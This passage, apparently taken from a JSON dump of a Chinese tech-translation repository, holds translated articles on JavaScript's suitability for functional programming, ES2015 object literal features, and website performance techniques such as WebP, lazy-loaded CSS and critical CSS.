说过的名言。[**“编程语言简要、不完整之黑历史”**](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)\n\n典型的，这是在调侃这有趣的一点。在上面的引用中，关于 Monads 的解释相比最初的有了很大的简化，原来是下面这样：\n\n> “`X` 中的 monad 是其 endofunctor 范畴的幺半群，生成 endofunctor 和被 endofunctor 单位 set 组合所代替的 `X` ” ~ Saunders Mac Lane。 [*\"Categories for the Working Mathematician\"*](https://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038//ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=de6f23899da4b5892f562413173be4f0)\n\n尽管这样，在我的观点看来，害怕 Monads 是没有必要的，学习 Monads 最好的方法不是去读关于它的一堆书和博客，而是立刻去使用它。对于大部分的函数式编程语言来说，晦涩的学术词汇比它实际概念难的多，相信我，你不必通过了解 Saunders Mac Lane 来了解函数式编程。\n\n尽管它不是对所有的编程风格都绝对完美，JavaScript 无疑是作为适应各种编程风格和背景的人的通用编程语言被设计出来的。\n\n根据 [Brendan Eric](https://brendaneich.com/2008/04/popularity/) 所言，在一开始的时候，网景公司就有意适应两类开发者：\n\n> “...写组件的，比如说 C++ 或者 Java；写脚本的、业余的和爱好者，比如直接写嵌在 HTML 里的代码的。”\n\n本来，网景公司的意向是支持两种不同的语言，同时脚本语言大致要像 Scheme (一个 Lisp 的方言)，而且，Brendan Eich：\n\n> “我被招聘到网景公司，目的是在浏览器中 **做一些 Scheme**”。\n\nJavaScript 应当是一门新的语言：\n\n> “上级工程管理的命令是这门语言**应当像 Java**，这就排除了 Perl，Python，和 Tcl，以及 Scheme。”\n\n所以，Brendan Eich 最初脑子里的想法是：\n\n1. 浏览器中的 Scheme。\n2. 看起来像 Java。\n\n它最终更像是个大杂烩：\n\n>“我不骄傲，但我很高兴我选择了 Scheme 的一类函数和 Self（尽管奇怪）的原型作为主要的元素。”由于 Java 的影响，特别是 y2k 的 Date 问题以及对象的区别（比如 string 和 String），就不幸了。”\n\n我列出了这些 “不好的” 的类 Java 特性，最后整理成 JavaScript:\n\n* 构造函数和 `new` 关键子，跟工厂函数有着不同的调用和使用语义。\n* `class` 的关键字和单一父类 `extends` 作为最初的继承机制。\n* 用户更习惯于把 `class` 看作是它的静态类型（实际并非如此）。\n\n我的意见：永远避免使用这些东西。\n\n很幸运 JavaScript 成为了这样厉害的语言，因为事实上证明脚本的方式赢了那些建立在“组件”上的方式（现在，Java、Flash、和 ActiveX 扩展已经不被大部分安装的浏览器支持）。\n\n我们最终创作了一个直接被浏览器支持的语言：JavaScript。\n\n那意味着浏览器可以减少臃肿和问题，因为它们现在只需要支持一种语言：JavaScript。你也许认为 WebAssembly 是例外，但是 WebAssembly 设计之初的目的是使用兼容的抽象语法树来共享 JavaScript 的语言绑定（AST）。事实上，最早的把 WebAssembly 编译成 JavaScript 的子集的示范是 ASM.js。\n\n作为 web 平台唯一的通用标准编程语言，JavaScript 在软件历史潮流中乘风直上：\n\nApp 吞食世界， web 吞食 app， 同时 JavaScript 吞食 web。\n\n根据[多个平台](http://redmonk.com/sogrady/2016/07/20/language-rankings-6-16/)[调查](http://stackoverflow.com/research/developer-survey-2016)，[JavaScript](https://octoverse.github.com/) 是目前世界上最流行的语言。\n\nJavaScript 并不是函数式编程的理想化工具，但是它却是为大型的分布式的团队开发大型应用的好工具，因为不同的团队对于如何构建一个应用或许有不同的看法。\n\n一些团队致力于脚本化，那么命令式的编程就特别有用，另外一些更精于抽象架构，那么一点保留的面向对象方法也许不失为坏。还有一些拥抱函数式编程，使用纯函数来确保稳定性、可测试性和项目状态管理以便减少用户的反馈。团队里的这些人可以使用相同的语言，意味着他们可以更好的交换想法，互相学习和在其他人的基础上更进一步的开发。\n\n在 JavaScript 中，所有这些想法可以共存，这样就让更多的人开始拥抱 JavaScript，然后就产生了[世界上最大的开源包管理器](http://www.modulecounts.com/) (2017 年 2 月)，[npm](https://www.npmjs.com/)。\n\nJavaScript 的真正优势在于其生态系统中的思想和用户的多样性。它也许不是纯函数式编程最理想的语言，但它是你可以想象的工作在不同平台的人共同合作的理想语言，比如说 Java、Lisp 或者 C。JavaScript 也许并不对有这些背景的用户完全友好，但是这些人很乐意学习这门语言并迅速投入生产。\n\n我同意 JavaScript 并不是对函数式编程者最好的语言。但是，没有任何其他语言可以声称他们可以被所有人使用，同时正如 ES6 所述：JavaScript 可以满足到更与喜欢函数式编程的人的需要，同时也越来越好。相比于抛弃 JavaScript 和世界上几乎每家公司都使用的令人难以置信的生态系统，为什么不拥抱它，把它变成一个更适合软件组合化的语言？\n\n现在，JavaScript 已经是一门**足够优秀**的函数式编程语言，意味着人们可以使用 JavaScript 的函数式编程方法来构造很多有趣的和有用的东西。Netflix（和其他使用 Angular 2+ 的应用）使用基于 RxJS 的函数式功能。[Facebook](https://github.com/facebook/react/wiki/sites-using-react)在 React 中使用纯函数、高阶函数和高级组件来开发 Facebook 和 Instagram，[PayPal、KhanAcademy、和Flipkart](https://github.com/reactjs/redux/issues/310)使用 Redux 来进行状态管理。\n\n它们并不孤单：Angular、React、Redux 和 Lodash 是 JavaScript 生态系统中主要的框架和库，同时它们都被函数式编程很深的影响到— 在 Lodash 和 Redux 中，明确地表达是为了在实际的 JavaScript 应用中使用函数式编程模式。\n\n“为什么是 JavaScript?”因为 JavaScript 是实际上大多数公司开发真实的软件所使用的语言。无论你对它是爱是恨，JavaScript 已经取代了 Lisp 这个数十年来 “最受欢迎的函数式编程语言”。事实上，Haskell 更适合当今函数式编程概念的标准，但是人们并不使用它来开发实际应用。\n\n在任何时候，在美国都有近十万的 JavaScript 工作需求，世界其他地方也有数十万的量。学习 Haskell 可以帮助你很好的学习函数式编程，但学习 JavaScript 将会教会你在实际工作中开发应用。\n\nApp 正在吞食世界， web 正在吞食 app， 同时 JavaScript 正在吞食 web。\n\n[**第三篇: 函数式开发者的 JavScript 介绍…**](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)\n\n### 下一步\n\n想更多的学习 JavaScript 的函数式编程？\n\n[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/)，什么，你还不是其中之一，out 了！\n\n[![](https://cdn-images-1.medium.com/freeze/max/30/1*3njisYUeHOdyLCGZ8czt_w.jpeg?q=20)![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n\n*Eric Elliott* 是 [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly) 和 “Learn JavaScript with Eric Elliott” 的作者。他曾效力于 *Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica* 和其他一些公司。\n\n**他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/why-object-literals-in-javascript-are-cool.md",
    "content": ">* 原文链接 : [Why object literals in JavaScript are cool](https://rainsoft.io/why-object-literals-in-javascript-are-cool/)\n* 原文作者 : [Dmitri Pavlutin](https://rainsoft.io/author/dmitri-pavlutin/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [章辰(zhangchen91)](https://github.com/zhangchen91)\n* 校对者: [rccoder](https://github.com/rccoder), [Graning](https://github.com/Graning)\n\n\n在 [ECMAScript 2015](https://rainsoft.io/why-object-literals-in-javascript-are-cool/www.ecma-international.org/ecma-262/6.0/) 之前，Javascript 中的对象字面量(又叫做对象初始化器)是相当简单的，它可以定义2种属性：\n\n*   成对的静态属性名和值 `{ name1: value1 }`\n*   通过 [getters](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/get) `{ get name(){..} }` 和 [setters](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/set) `{ set name(val){..} }` 定义的动态计算属性值\n\n说来遗憾，一个简单的例子就可以表示对象字面量的所有可能性：\n\n    var myObject = {  \n      myString: 'value 1',\n      get myNumber() {\n        return this.myNumber;\n      },\n      set myNumber(value) {\n        this.myNumber = Number(value);\n      }\n    };\n    myObject.myString; // => 'value 1'  \n    myObject.myNumber = '15';  \n    myObject.myNumber; // => 15  \n\nJavaScript 是一种[基于原型继承](https://en.wikipedia.org/wiki/Prototype-based_programming)的语言，所以啥都是个对象。 所以当处理对象的创建、原型的设置与访问时，它必须提供简单的构造方法。\n\n定义一个对象然后设置它的原型是普遍流程。我常常觉得原型的设置应该能直接在字面量里用一条语句实现。\n\n很不幸，字面量的限制不允许这样简单直接的实现方案。你不得不使用 `Object.create()` 配合字面量来设置原型:\n\n    var myProto = {  \n      propertyExists: function(name) {\n        return name in this;    \n      }\n    };\n    var myNumbers = Object.create(myProto);  \n    myNumbers['array'] = [1, 6, 7];  \n    myNumbers.propertyExists('array');      // => true  \n    myNumbers.propertyExists('collection'); // => false  \n\n我认为这个方案很不方便。 JavaScript 是基于原型的，为什么设置对象的原型要这么痛苦？\n\n幸运的是 JavaScript 在进化，它许多相当令人不舒服的特性正在一步步的被解决。\n\n这篇文章演示了 ES2015 是如何解决以上描述的难题，并增加了哪些特性来提升对象字面量的能力：\n\n*   在对象构造函数中设置原型\n*   速写式方法声明\n*   进行 `super` 调用\n*   可计算的属性名\n\n还有我们可以展望一下将来，看看 ([草案2](https://github.com/sebmarkbage/ecmascript-rest-spread#status-of-this-proposal)) 里的新提议： 可收集可展开的属性。\n\n![Infographic](http://ac-Myg6wSTV.clouddn.com/825d7c6a95690b5818eb.jpg)\n\n### 1\\. 在对象构造函数中设置原型\n\n正如你已知的，访问已创建对象的原型有一种方式是引用  `__proto__` 这个 getter 属性：\n\n    var myObject = {  \n      name: 'Hello World!'\n    };\n    myObject.__proto__;                         // => {}  \n    myObject.__proto__.isPrototypeOf(myObject); // => true  \n\n`myObject.__proto__` 返回 `myObject` 的原型对象。\n\n好消息是 [ES2015 允许使用](http://www.ecma-international.org/ecma-262/6.0/#sec-__proto__-property-names-in-object-initializers) `__proto__` 在对象字面量 `{ __proto__: protoObject }` 中作为属性名来设置原型。\n\n让我们用 `__proto__` 属性为对象初始化，看它是如何改进介绍中描述的不直观方案：\n\n    var myProto = {  \n      propertyExists: function(name) {\n        return name in this;    \n      }\n    };\n    var myNumbers = {  \n      __proto__: myProto,\n      array: [1, 6, 7]\n    };\n    myNumbers.propertyExists('array');      // => true  \n    myNumbers.propertyExists('collection'); // => false  \n\n`myNumbers` 是使用了特殊的属性名 `__proto__` 创建的对象，它的原型是 `myProto` 。\n这个对象用了一个简单的声明来创建，没有使用类似 `Object.create()` 的附加函数。\n\n如你所见，使用 `__proto__` 非常简洁. 我通常推荐简洁直观的解决方案。\n\n一些题外话，我认为有点奇怪的是简单可扩展的解决方案依赖大量的设计和工作。如果一个方案很简洁，你也许认为它是容易设计的。然而事实完全相反:\n\n*   让事情变得简单直接很复杂\n*   让事情变得复杂难以理解很容易\n\n如果一些事情看起来很复杂或者很难使用，可能它是没有被充分考虑过。\n关于返璞归真，你怎么看？（随意留言评论）\n\n#### 2.1 特殊的情况下 `__proto__` 的使用手册\n\n即使 `__proto__` 看起来很简洁， 这有一些特定的场景你需要注意到。\n\n![Infographic](http://ac-Myg6wSTV.clouddn.com/e46fa45d4cce81bc3be9.jpg)\n\n对象字面量中 `__proto__` 只允许使用 **一次** 。重复使用 JavaScript 会抛出异常：\n\n    var object = {  \n      __proto__: {\n        toString: function() {\n          return '[object Numbers]'\n        }\n      },\n      numbers: [1, 5, 89],\n      __proto__: {\n        toString: function() {\n          return '[object ArrayOfNumbers]'\n        }\n      }\n    };\n\n例子中的对象字面量声明了两个 `__proto__` 属性，这是不允许的。这种情况会抛出 `SyntaxError: Duplicate __proto__ fields are not allowed in object literals` 的语法错误。\n\nJavaScript 有只能使用对象或 `null` 作为 `__proto__` 属性值的约束。任何尝试使用原始类型们 (字符串，数字，布尔值) 乃至 `undefined` 会被忽略掉，不能改变对象的原型。\n让我们看看这个限制的例子：\n\n    var objUndefined = {  \n      __proto__: undefined\n    };\n    Object.getPrototypeOf(objUndefined); // => {}  \n    var objNumber = {  \n      __proto__: 15\n    };\n    Object.getPrototypeOf(objNumber);    // => {}  \n\n这个对象字面量使用了 `undefined` 和数字 `15` 来设置 `__proto__` 的值。因为只有对象或 `null` 允许被当做原型， `objUndefined` 和 `objNumber` 仍然拥有他们默认的原型： JavaScript 空对象 `{}`。 `__proto__` 的值被忽略了。\n\n当然，尝试用原始类型去设置对象的原型会挺奇怪。这里的约束符合预期。\n\n### 2\\. 速写式方法声明\n\n我们可以在对象字面量中使用一个更短的语法来声明方法，一个能省略掉 `function` 关键字和 `:` 符号的方式。它被称之为速写式方法声明。\n\n让我们使用这个新的短模式来定义一些方法吧：\n\n    var collection = {  \n      items: [],\n      add(item) {\n        this.items.push(item);\n      },\n      get(index) {\n        return this.items[index];\n      }\n    };\n    collection.add(15);  \n    collection.add(3);  \n    collection.get(0); // => 15  \n\n`add()` 和 `get()` 是 `collection` 里用这个短模式定义的方法。\n\n这个方法声明的方式还一个好处是它们都是非匿名函数，这在调试的时候会很方便。 上个例子执行 `collection.add.name` 返回函数名 `'add'`。\n译者注：好像非速写式声明的函数名字也是一样，调用堆栈的表现也都一样，这里不太明白。\n\n### 3\\. 进行 `super` 调用\n\n一个有趣的改进是可以使用 `super` 关键字来访问原型链中父类的属性。瞧瞧下面的这个例子：\n\n    var calc = {  \n      sumArray (items) {\n        return items.reduce(function(a, b) {\n          return a + b;\n        });\n      }\n    };\n    var numbers = {  \n      __proto__: calc,\n      numbers: [4, 6, 7],\n      sumElements() {\n        return super.sumArray(this.numbers);\n      }\n    };\n    numbers.sumElements(); // => 17  \n\n`calc` 是 `numbers` 对象的原型。在 `numbers` 的 `sumElements` 方法中可以通过 `super` 关键字调用原型的 `super.sumArray()` 方法。\n\n最终， `super` 是调用对象原型链里父类属性的快捷方式。\n\n上面的例子其实可以直接用 `calc.sumArray()` 调用它的原型。然而因为 `super` 基于原型链调用，是一个更推荐的方式。并且它的存在明确得表示了父类属性即将被调用。\n\n#### 3.1 `super` 的使用限制\n\n`super` 在对象字面量中 **只能在速写式方法声明里** 使用。\n\n如果尝试在普通的方法声明 `{ name: function() {} }` 中使用， JavaScript 会抛出异常：\n\n    var calc = {  \n      sumArray (items) {\n        return items.reduce(function(a, b) {\n          return a + b;\n        });\n      }\n    };\n    var numbers = {  \n      __proto__: calc,\n      numbers: [4, 6, 7],\n      sumElements: function() {\n        return super.sumArray(this.numbers);\n      }\n    };\n    // Throws SyntaxError: 'super' keyword unexpected here\n    numbers.sumElements();  \n\n这个 `sumElements` 方法是通过属性： `sumElements: function() {...}` 定义的。 因为 `super` 只能在速写式方法声明中使用，这种情况下调用会抛出 `SyntaxError: 'super' keyword unexpected here` 的语法错误。\n\n这个约束不太影响对象字面量的声明方式，多数情况下因为语法更简洁，使用速写式方法声明会更好。\n\n### 4\\. 可计算的属性名\n\n在 ES2015 之前, 在对象字面量初始化中，对象的属性名大部分是静态的字符串。为了创建一个经过运算的属性名，你不得不使用访问器函数创建属性。\n\n    function prefix(prefStr, name) {  \n       return prefStr + '_' + name;\n    }\n    var object = {};  \n    object[prefix('number', 'pi')] = 3.14;  \n    object[prefix('bool', 'false')] = false;  \n    object; // => { number_pi: 3.14, bool_false: false }  \n\n很明显，这种方式定义属性有点不那么友好。\n\n可计算的属性名优雅的解决了这个问题。\n当你要通过某个表达式计算属性名，在方括号 `{[expression]: value}` 里替换对应的代码。对应的表达式会把计算结果作为属性名。\n\n我非常喜欢这个语法：简短又简洁。\n\n让我们改进上面的例子：\n\n    function prefix(prefStr, name) {  \n       return prefStr + '_' + name;\n    }\n    var object = {  \n      [prefix('number', 'pi')]: 3.14,\n      [prefix('bool', 'false')]: false\n    };\n    object; // => { number_pi: 3.14, bool_false: false }  \n\n`[prefix('number', 'pi')]` 通过计算 `prefix('number', 'pi')` 表达式设置了 `'number_pi'` 这个属性名.  \n相应的 `[prefix('bool', 'false')]` 表达式设置了另一个属性名 `'bool_false'` 。\n\n#### 4.1 `Symbol` 作为属性名\n\n[Symbols](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Symbol) 运算也可以作为可计算的属性名。只需要保证把它们括在括号里： `{ [Symbol('name')]: 'Prop value' }` 。\n\n举个栗子，让我们用 `Symbol.iterator` 这个特殊的属性，去遍历对象的自有属性名。如下所示：\n\n    var object = {  \n       number1: 14,\n       number2: 15,\n       string1: 'hello',\n       string2: 'world',\n       [Symbol.iterator]: function *() {\n         var own = Object.getOwnPropertyNames(this),\n           prop;\n         while(prop = own.pop()) {\n           yield prop;\n         }\n       }\n    }\n    [...object]; // => ['number1', 'number2', 'string1', 'string2']\n\n`[Symbol.iterator]: function *() { }` 定义了一个属性来遍历对象的自有属性。 展开操作符 `[...object]` 使用了迭代器来返回自有属性的数组。\n\n### 5\\. 对未来的一个展望: 可收集可展开的属性\n\n对象字面量的[可收集可展开的属性](https://github.com/sebmarkbage/ecmascript-rest-spread) 目前是草案第二阶段 (stage 2) 中的一个提议，它将被选入下一个 Javascript 版本。\n\n它们等价于[展开和收集操作符](https://rainsoft.io/how-three-dots-changed-javascript/#4improvedarraymanipulation) ，已经可以在 ECMAScript 2015 中被数组所使用。\n\n[可收集的属性](https://github.com/sebmarkbage/ecmascript-rest-spread/blob/master/Rest.md) 允许收集一个对象在解构赋值后剩下的属性们。\n下面这个例子收集了 `object` 解构后留下的属性：\n\n    var object = {  \n      propA: 1,\n      propB: 2,\n      propC: 3\n    };\n    let {propA, ...restObject} = object;  \n    propA;      // => 1  \n    restObject; // => { propB: 2, propC: 3 }  \n\n[可展开的属性](https://github.com/sebmarkbage/ecmascript-rest-spread/blob/master/Spread.md) 允许从一个源对象拷贝它的自有属性到另一个对象字面量中。这个例子中对象字面量的其它属性合集是从 `source` 对象中展开的：\n\n    var source = {  \n      propB: 2,\n      propC: 3\n    };\n    var object = {  \n      propA: 1,\n      ...source\n    }\n    object; // => { propA: 1, propB: 2, propC: 3 }  \n\n### 6\\. 总结\n\nJavaScript 正在大步前进。\n\n即使一个相当小的对象字面量改进都会在 ECMAScript 2015 里考虑。以及很多草案里的新特性提议。\n\n你可以在对象初始化时直接通过 `__proto__` 属性名设置其原型。比用 `Object.create()` 简单很多。\n\n现在方法声明有个更简洁的模式，所以你不必输入 `function` 关键字。而且在速写式声明里，你可以使用 `super` 关键字，它允许你十分容易得通过对象的原型链访问父类属性。\n\n如果属性名需要在运行时计算，现在你可以用可计算的属性名 `[expression]` 来初始化对象。\n\n对象字面量现在确实很酷！\n_你觉得呢？随意留言评论。_\n"
  },
  {
    "path": "TODO/why-our-website-is-faster-than-yours.md",
    "content": ">* 原文链接 : [Why our website is faster than yours](https://www.voorhoede.nl/en/blog/why-our-website-is-faster-than-yours/)\n* 原文作者 : [by Declan](https://www.voorhoede.nl/en/contact/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [hpoenixf](https://github.com/hpoenixf)\n* 校对者: [MAYDAY1993](https://github.com/MAYDAY1993),[circlelove](https://github.com/circlelove)\n\n# 如何运用最新的技术提升网页速度和性能\n\n我们最近升级了我们的网站。虽然这主要是界面方面的大调整，但作为一个软件开发者，我们更关注在技术细节上面。我们的目标是加强控制，关注性能，在未来可以灵活地调整和让在网站上撰写内容变得有趣。下面讲述了我们是如何让我们的网站比你的快的（呀，不好意思！）\n\n## 为了性能而设计\n\n开发项目的时候，我们每天都会跟设计师和产品经理讨论性能和美观的平衡。对于我们的网站来说，这是简单的。简单来说：我们相信尽快的展现内容是良好用户体验的开始。这意味着**性能 > 美观**\n\n好的内容，布局，图片和交互对吸引你的用户是必要的，但这些元素都影响着页面的加载时间和用户体验。在每一步我们都在想办法在提升用户体验和设计时的同时给性能带来尽可能小的影响。\n\n## 内容优先\n\n我们想要把核心内容-也就是基本的 HTML 和 CSS -尽可能快的展现给用户。每一个页面都应该支持内容最主要的目标：传达信息。增强的功能，也就是 JavaScript ，完整的 CSS 文件，网络字体，图片和分析相对于核心内容来说都是次要的\n\n## 获取控制\n\n在定义了我们为理想网站设定的标准后，我们总结出我们需要对网站的每一点都需要有完全的控制。我们选择构建我们自己的静态页面生成器，包括资源管道，并且自己搭建它。\n\n### 静态页面生成器\n\n我们使用 Node.js 写了我们自己的静态页面生成器。它可以利用带有简单的 JSON 页面描述的 Markdown 文件来生成具有全部资源和完整结构的页面。它也可以使用包含有页面特征的 JavaScript 代码的 HTML 文件。\n\n下面是一个关于这篇博客的简略的元描述和 markdown 文件，可以用来生成实际的 HTML 文件。\n\nJSON 元描述：\n\n\n    {\n      \"keywords\": [\"performance\", \"critical rendering path\", \"static site\", \"...\"],\n      \"publishDate\": \"2016-07-13\",\n      \"authors\": [\"Declan\"]\n    }\nmarkdown 文件：\n\n\n    # Why our website is faster than yours\n    We've recently updated our site. Yes, it has a complete...\n    \n    ## Design for performance\n    In our projects we have daily discussions...\n    \n## 图片分发\n[页面的平均大小有 2406kb，其中 1535kb 是图片](http://httparchive.org/interesting.php)。\n因为对于普通的网站来说，图片占据了如此大的一部分，图片也成了改善性能的最好的目标之一。\n\n![Average bytes per page by content type chart](https://www.voorhoede.nl/assets/images/average-bytes-per-page-chart-l.jpg)\n\n来自httparchive.org对2016年7月不同种类内容在页面的平均大小的统计\n### WebP\n \nWebP 是一个现代的图片格式，可以对网络图片进行优秀的无损或有损压缩。比起其他的格式 WebP 的体积大幅度的减小，有时可以比 JPEG 对照图片体积要小25%。 WebP 经常被忽视和很少被使用。在写这篇文章的时候， WebP 只有[Chrome, Opera and Android](http://caniuse.com/#feat=webp)支持（对于用户来说仍然超过了50%的份额），但我们可以优雅降级到JPG/PNG。\n\n### `<picture>` 元素\n\n通过使用图片元素，我们可以从WebP优雅降级到更广泛支持的格式如JPEG：\n\n\n    <picture>\n        <source type=\"image/webp\" srcset=\"image-l.webp\" media=\"(min-width: 640px)\">\n        <source type=\"image/webp\" srcset=\"image-m.webp\" media=\"(min-width: 320px)\">\n        <source type=\"image/webp\" srcset=\"image-s.webp\">\n        <source srcset=\"image-l.jpg\" media=\"(min-width: 640px)\">\n        <source srcset=\"image-m.jpg\" media=\"(min-width: 320px)\">\n        <source srcset=\"image-s.jpg\">\n        <img alt=\"Description of the image\" src=\"image-l.jpg\">\n    </picture>\n我们使用 [ Scott Jehl的 picturefill ](https://github.com/scottjehl/picturefill)去给不支持 `<picture>`元素的浏览器加上兼容补丁使其可以在所有浏览器都能有一样的表现。\n\n我们使用`<img>`格式来防止浏览器不支持`picture`元素或者JavaScript。\n\n### 生成\n\n尽管已经确定了合适的图片分发方法，我们仍然需要寻找一个代价较小的方法来应用它。因为它的强大，我喜欢 picture 元素，但我讨厌写上面的那些片段。特别是在我写内容的时候不得不这样引入它们。我们不想为了给 markdown 文件的每张图片引入六个实例，优化图片和写`<picture>`元素而烦恼，所以我们：\n\n- 在构建的过程**产生**原始图片的多重实例，包括输入格式（JPG，PNG）和 WebP 。我们使用了 [gulp responsive](https://github.com/mahnunchik/gulp-responsive)来完成这步。\n- **最小化** 生成的图片\n- 在 mardown 文件中**编写** 图片的描述\n- 在构建的过程使用自定义的 Markdown 渲染器把普通的 markdown 图片引用**编译**成完整的 `<picture>`元素。\n\n##SVG 动画\n\n我们为我们的网站挑选了一种独特的图片风格，在这里 SVG 图片扮演了主要的角色。我们出于一些原因这样做。\n\n\n- 首先， SVG （矢量图片）比点阵图片要小。\n- 第二， SVG 本质就是响应式的，可以完美的保持清晰。因此不需要图片转换和`<picture>`元素;\n- 最后一点我们可以通过 CSS 让他运动和变化！这是为了性能而设计的完美例子。 [我们的页面作品集](https://www.voorhoede.nl/en/portfolio/)有可以被综述页重新使用的一个自定义的动态 SVG 。它在我们的作品集中呈现了一个反复出现的风格，让我们的设计连贯一致，对性能的只有很小的影响。\n\n来看下我们的动画和我们是怎样通过CSS来调整它的\n\n\n\n## 自定义网络字体\n\n在深入讲述之前，先初步介绍一下浏览器处理自定义网络字体的过程。当浏览器在 CSS 中发现`@font-face`的指向字体文件的声明而在用户的电脑中找不到的时候，它会尝试下载这个字体文件。在下载的时候，大部分浏览器不会展现使用该字体的文字。这种现象被称为\"隐藏文件的闪烁\"或是 FOIT 。如果你知道该怎么找，你会发现它几乎存在于网络的每一个地方。在我看来，这给用户体验带来不好的影响。它延迟了用户实现核心目标：阅读内容\n\n我们可以使浏览器把这行为改为“无样式内容的闪烁”或是 FOUT 。我们先告诉浏览器使用普通的字体，像是 Arial 或 Grorgia 。一旦自定义网络字体下载完成，浏览器会替换标准字体并重新渲染全部文本。如果自定义字体加载失败，内容依然可以完美的被阅读。有些人可能把这看成一种回调，我们把这看成一种增强。如果没有它，网站看起来良好并 100% 工作。只需要通过勾选勾选框来切换我们的自定义字体和观察。\n\n切换字体加载的类\n\n使用自定义字体文件会给我们的用户体验带来好处，只要你优化和可靠的分发它们。\n\n构建子集是提升网络字体性能最快的方法。我想把它推荐给每一个使用网络字体的开发者。如果你对内容有完全的控制并知道需要展示哪些字符，你可以构建你的子集。即使仅仅把你的字体构建成“西方语言”也会对你的文件的尺寸有很大的作用。举个例子，我们的 Noto 标准`WOFF`字体，默认有 246KB 大小，一个构建一个西方语言的子集，仅有 31KB 大。我们用这个比较容易使用的[Font squirrel webfont generator](https://www.fontsquirrel.com/tools/webfont-generator)\n\n###  Font face observer\n\n\n[Bram Stein的Font face observer](https://github.com/bramstein/fontfaceobserver)是一个了不起的用于判断字体是否加载的辅助脚本。你的字体是怎么被加载的是很难确定的，或许是通过网络字体服务，或许是你自己提供。在 font face observer脚本通知我们所有自定义脚本文件加载完成后，我们给`<html>`元素增加一个`fonts-loaded`类。我们以此给页面加入样式：\n\n\n\n    html {\n       font-family: Georgia, serif;\n    }\n    \n    html.fonts-loaded {\n       font-family: Noto, Georgia, serif;\n    }\n\n*注意:为了简洁，我没有在上面的 css 中加入 Noto 的`@font-face`的声明*。\n\n我们还设置了 cookie 来记忆加载过的字体，并保存在浏览器的缓存中。我们为了重复浏览使用 cookie ，着我会在后面解释。\n\n在不远的将来，我们可能会不再需要 Bram Stein 的 JavaScript 代码。CSS 工作组提出了新的`@font-face`描述符（叫做`font-display`），这个属性值可以控制可以下载的字体在加载完成之前是怎么渲染的。这个 css 语句 `font-display: swap`会给我们跟上面方法一样的效果。 [阅读更多关于 `font-display` 属性](https://developers.google.com/web/updates/2016/02/font-display).\n\n\n## 懒加载 JS 和 CSS\n\n通常来说，我们有一个尽可能快加载资源的方法。我们排除了阻塞渲染的请求并对首页浏览做了优化，为了重复浏览用到了浏览器缓存。\n\n### 懒加载 JS\n\n在设计上，我们的网站没有大量的 JavaScript 文件。为了我们已有或是将来打算使用的 js 文件，我们研发了一种 JavaScript 工作流。\n\nJavaScript放在`<head>`的话会阻塞渲染，然而我们不希望这样。 JavaScript 只应该用来提升用户体验。它对用户来说并不是必要的。一个简单的避免 JavaScript 阻塞渲染的方式是把它放到你的页面的尾部。缺点是只有整个 HTML 都下载完成后才会开始下载脚本。\n\n一个替代方案是把脚本放到头部并通过在`<script>`标签上增加`defer`属性来延缓它的执行。这让脚本不会阻塞并几乎可以立刻被下载，不用在整个页面被加载后才执行代码。\n\n还有一件事情，我们不用像 jQuery 之类的库文件因此我们的 JavaScript 使用原生的 JavaScript 特性。我们只想在支持这些特性的浏览器中加载 JavaScript 。最后结果像这样：\n\n\n    <script>\n    if ('querySelector'indocument && 'addEventListener'inwindow) {\n      document.write('<script src=\"index.js\" defer><\\/script>');\n    }\n    </script>\n\n我们把这个小巧的内嵌脚本放到页面的头部来侦测原生的`document.querySelector` 和 `window.addEventListener`JavaScript是否被支持。如果是这样的话，我们通过在页面直接写`script`标签来加载脚本，然后使用`defer`属性让它不阻塞。\n\n\n### 懒加载 CSS\n\n对我们的网站来说，在首屏浏览中最大的阻塞资源是 CSS。浏览器会延迟页面的渲染，直到`<head>`中的 CSS 引用全部被下载和解析。这个行为是经过考虑的，否则浏览器会在渲染页面的时候不断重新计算布局和重新绘制页面。\n\n为了避免 CSS 阻塞渲染，我们需要异步加载 CSS 文件。我们使用了神奇的 Filament Group 的[loadCSS function](https://github.com/filamentgroup/loadCSS).它会在你的 CSS 文件加载后给你一个回调，在回调函数里我们设置 cookie 来说明 CSS 已经加载了。我们是为了重复浏览来使用 cookie，这我会在等一下解释。\n\n异步加载 CSS 会有一个小`问题`，因为在这时候 HTML 会很快的渲染完成展现成只有 HTML 而没有应用到 CSS 的样子，直到全部 CSS 被下载和解析。这就是使用关键 CSS 的原因。\n\n### 关键 CSS\n\n关键 CSS 的定义就是*让页面可以被用户辨识的最小体积的阻塞CSS*。我们关注`首屏`的内容。显然这个位置会根据设备不同而变化，所以我们做了最好的预测。\n\n人工决定关键 CSS 是一个很消耗时间的过程，特别是未来样式改变的时候。这里有一个可以在你的构建过程中生成关键 CSS 的一个很棒的脚本。我们使用了强大的[Addy Osmani的critical](https://github.com/addyosmani/critical)。\n\n\n看下面的分别使用关键 CSS 和完整 CSS 